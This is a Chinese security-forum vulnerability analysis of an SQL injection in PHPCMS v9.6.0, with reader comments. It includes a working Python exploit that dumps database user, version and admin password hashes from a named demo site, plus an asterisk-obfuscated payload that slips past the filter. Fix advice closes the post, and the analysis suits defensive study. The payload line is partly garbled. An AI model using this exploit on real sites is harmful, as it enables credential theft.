cryin / 2017-04-11 08:47:00 / 浏览数 6061 安全技术 漏洞分析 顶(0) 踩(0)

## 概述

### 这两天看到phpcms

v9的注入漏洞,据说还是未曾公开的,但是网上已经有文章给出了分析关于漏洞的原因以及利用方式,漏洞的利用感觉很赞,所以看下并动手验证下这个漏洞。经过分析并给

### POC

### Python检测脚本代码:

```
#!/usr/bin/env python
# encoding:utf-8
import requests
import urllib
import sys
class Poc():
     def __init__(self):
             self.cookie={}
     def test(self):
             #url = 'http://10.65.10.195/phpcms_v9.6.0_GBK'
             url = 'http://v9.demo.phpcms.cn/'
             print '[+]Start : PHPCMS_v9.6.0 sqli test...'
             cookie_payload='/index.php?m=wap&a=index&siteid=1'
             info\_paylaod='\$*27an*d\$20e*xp(\sim(se*lect\$*2af*rom(se*lect co*ncat(0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f6374657374,us*er(),0x23,ver*sion(),0x706f63746574,us*er(),0x23,ver*sion(),0x706f63746574,us*er(),0x23,ver*sion(),0x706f63746574,us*er(),0x23,ver*sion(),0x706f63746574,us*er(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion(),0x23,ver*sion()
             admin\_paylaod='$*27an*d$20e*xp(\sim(se*lect$*2afro*m(sel*ect co*ncat(0x706f6374657374,username,0x23,password,0x3a,encrypt,0x3a,encrypt)]
             url_padding = '%23%26m%3D1%26f%3Dtest%26modelid%3D2%26catid%3D6'
             encode_url=url+'/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id='
              exploit_url=url+'/index.php?m=content&c=down&a_k='
              #get test cookies
              self.get_cookie(url,cookie_payload)
              #get mysgl info
              self.get_sqlinfo(encode_url,info_paylaod,url_padding,exploit_url)
              self.get_admininfo(encode_url,admin_paylaod,url_padding,exploit_url)
     def get_cookie(self,url,payload):
             resp=requests.get(url+payload)
             for key in resp.cookies:
                     if key.name[-7:] == '_siteid':
                             cookie_head = key.name[:6]
                             self.cookie[cookie_head+'_userid'] = key.value
                             print '[+] Get Cookie : ' + str(self.cookie)
             return self.cookie
     def get_sqlinfo(self,url,payload,padding,exploit_url):
             sqli payload=''
             resp=requests.get(url+payload+padding,cookies=self.cookie)
             for key in resp.cookies:
                     if key.name[-9:] == '_att_json':
                             sqli_payload = key.value
                             print '[+] Get mysql info Payload : ' + sqli_payload
              info_link = exploit_url + sqli_payload
             sqlinfo=requests.get(info_link,cookies=self.cookie)
             resp = sqlinfo.content
             print '[+] Get mysql info : ' + resp.split('poctest')[1]
     def get_admininfo(self,url,payload,padding,exploit_url):
             sqli_payload=''
             resp=requests.get(url+payload+padding,cookies=self.cookie)
             for key in resp.cookies:
                     if key.name[-9:] == '_att_json':
                             sqli_payload = key.value
                             print '[+] Get admin info Payload : ' + sqli_payload
             admininfo_link = exploit_url + sqli_payload
             admininfo=requests.get(admininfo_link,cookies=self.cookie)
```

```
resp = admininfo.content
    print '[+] Get site admin info : ' + resp.split('poctest')[1]

if __name__ == '__main__':
    phpcms = Poc()
    phpcms.test()
```

### 漏洞原因

在写标题时,我在想尽量用一言点清这个漏洞的原因。这里写了phpcms v9.6.0 sys\_auth在解密参数后未进行适当校验造成sqlinjection。具体的漏洞触发点在phpcms\modules\content\down.php文件init函数中,代码如下:

```
public function init() {
                           a_k = trim(\hat_{a_k'}); //
                            if(!isset($a_k)) showmessage(L('illegal_parameters'));
                            if(empty($a_k)) showmessage(L('illegal_parameters'));
                           unset($i,$m,$f);
                           parse_str($a_k);//
                           if(isset($i)) $i = $id = intval($i);
                           if(!isset($m)) showmessage(L('illegal_parameters'));
                           if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
                           if(empty($f)) showmessage(L('url_invalid'));
                           $allow_visitor = 1;
                           $MODEL = getcache('model','commons');
                           $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
                           $this->db->table_name = $tablename.'_data';
                            s = \frac{1}{2} -2 =
```

代码通过GET获取'a\_k'值,并调用sys\_auth函数进行解密,这里传入了'DECODE'参数以及配置文件caches\configs\system.php文件中的auth\_key字段。所以可以知道这里在对a\_k解密后使用parse\_str将字符串解析到变量,并同时解码。如下代码,输出的id为:'union select

```
<?php
$test='id=%27union%20select';
parse_str($test);
echo $id;
?>
```

最后在第26行处代码处(down.php)将id传入sql查询语句。

# 漏洞利用

漏洞点上面已经说了,要利用这个漏洞,首先得对payload进行加密操作,在本地得话auth\_key得值是可以知道的,但问题是肯定不通用。仔细想下,程序中有解密的方法基于这个思路,就可以在程序工程中全文搜索sys\_auth传入ENCODE的方法,不过通过网上的POC可以看到其作者已经给出了这个ENCODE地方,可以看出漏洞发现者也是在phpcms\libs\classes\param.class.php文件第86行,函数set\_cookie:

```
public static function set_cookie($var, $value = '', $time = 0) {
    $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
    $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
    $var = pc_base::load_config('system','cookie_pre').$var;//\subsystem.php\subscookie_pre\subscookie_pre\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscookies\subscoo
```

从代码中可以看到这里在调用setcookie时调用了sys\_auth函数,且传入的时ENCODE加密参数。而sys\_auth函数定义中可以了解到,其默认使用的key既是system.php文件

到这里就剩下如何把payload完好无损的传入了,这里也时这个漏洞利用另一个让人觉得很巧妙的地方。在phpcms\modules\attachment\attachments.php文件第239行:

```
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
          return true;
      } else {
          $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
          param::set_cookie('att_json',$json_str);//
          return true;
      }
  }
首先这里调用了set_cookie函数,att_json作为cookies字段的key的一部分,在set_cookie函数中可以看到其与system.php文件中的cookie_pre拼接作为cookies的key,将
function safe replace($string) {
  $string = str_replace('%20','',$string);
  $string = str_replace('%27','',$string);
  $string = str_replace('%2527','',$string);
  $string = str_replace('*','',$string);
  $string = str_replace('"','"',$string);
  $string = str_replace("'",'',$string);
  $string = str_replace('"','',$string);
  $string = str_replace(';','',$string);
  $string = str_replace('<','<',$string);</pre>
  $string = str_replace('>','>',$string);
  $string = str_replace("{",'',$string);
  $string = str_replace('}','',$string);
  $string = str_replace('\\','',$string);
  return $string;
}
作为安全过滤函数, safe_replace对%20、%27、%2527等都进行了替换删除操作。同样对等也进行了替换删除处理。这样如果传入%27经过处理后即只剩下%27.这样就可
**27uni*on*20se*lect co*ncat(0x706f6374657374,ver*sion(),0x706f6374657374),2,3,4,5,6,7,8,9,10,11,12#
检测POC实现
在测试时还要主意一个点,在attachments类中有一个构造函数,代码如下:
function __construct() {
      pc_base::load_app_func('global');
      $this->upload_url = pc_base::load_config('system','upload_url');
      $this->upload_path = pc_base::load_config('system','upload_path');
      $this->imgext = array('jpg','gif','png','bmp','jpeg');
      $this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid')
      $this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
      $this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
      //?D??ê?·?µ???
      if(empty($this->userid)){
          showmessage(L('please_login','','member'));
      }
  }
在这里获取了userid值,从cookie的_userid字段获取或者表单userid_flash的值获取并判断,如果为空则跳转到登录页面,所以这里需要首先访问一个页面获取到这个cook
这个页面实现的功能是生成加密cookie,即poc中的/index.php?m=wap&a=index&siteid=1请求页面,在wap模块构造函数中set_cookie实现了加密cookie的生成
function __construct() {
      $this->db = pc_base::load_model('content_model');
      $this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_c
      param::set_cookie('siteid',$this->siteid);
      $this->wap_site = getcache('wap_site','wap');
      $this->types = getcache('wap_type','wap');
      $this->wap = $this->wap_site[$this->siteid];
      define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$th
      if($this->wap['status']!=1) exit(L('wap_close_status'));
  }
```

既然漏洞原因及利用已经明白了,要实现对改漏洞的检测,首先是获取cookies字段的key的前缀'cookie\_pre'及cookie,并对payload进行加密处理。从对应的'cookie\_pre

\$att\_arr\_exist = param::get\_cookie('att\_json');
\$att\_arr\_exist\_tmp = explode('||', \$att\_arr\_exist);

漏洞修复

这个漏洞利用很巧妙,很佩服漏洞发现者不仅发现漏洞,并给出了完美的利用方法。不知道读者有没有发现这个漏洞另外一个厉害之处。 虽然没实际去测试,但笔者认为这个漏洞利用方式特殊可能导致大多数waf都无法检测、防御该注入payload。因为有了对\*的替换删除,payload可以大量使用其进行混淆。 所以修改该漏洞最好从代码层级进行修复、解决。个人认为这里有两个地方都要进行相应处理,

- 完善safe\_replace函数(既然过滤存在绕过,那很可能还有其它潜在的注入)
- · sys\_auth解密数据后对其进行相应安全校验

经验有限,文中有不妥之处还请指出~

#### 参考

[1] https://www.secpulse.com/archives/57486.html

[2] http://v9.demo.phpcms.cn/

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1. 2 条回复



zxc 2017-04-11 09:58:55

就没人说到这个漏洞是因为parse\_str才产生的么 parse\_str不仅对变量解析 更重要在这里进行了解码

0 回复Ta



cryin 2017-04-11 10:25:40

引用第1楼zxc于2017-04-11 17:58发表的 Rephpcmsv96sysauth解密参数后未校验造成sql注入简单分析:

就没人说到这个漏洞是因为parse\_str才产生的么

parse\_str不仅对变量解析 更重要在这里进行了解码

[url=https://xianzhi.aliyun.com/forum/job.php?action=topost&tid=1491&pid=2015][/url]

感谢指出,这里经过safe\_replace处理的payload应该是形如%27union%20select这样,然后parse\_str将paylaod解析到变量,同时进行了解码~~已在文中补充~thx

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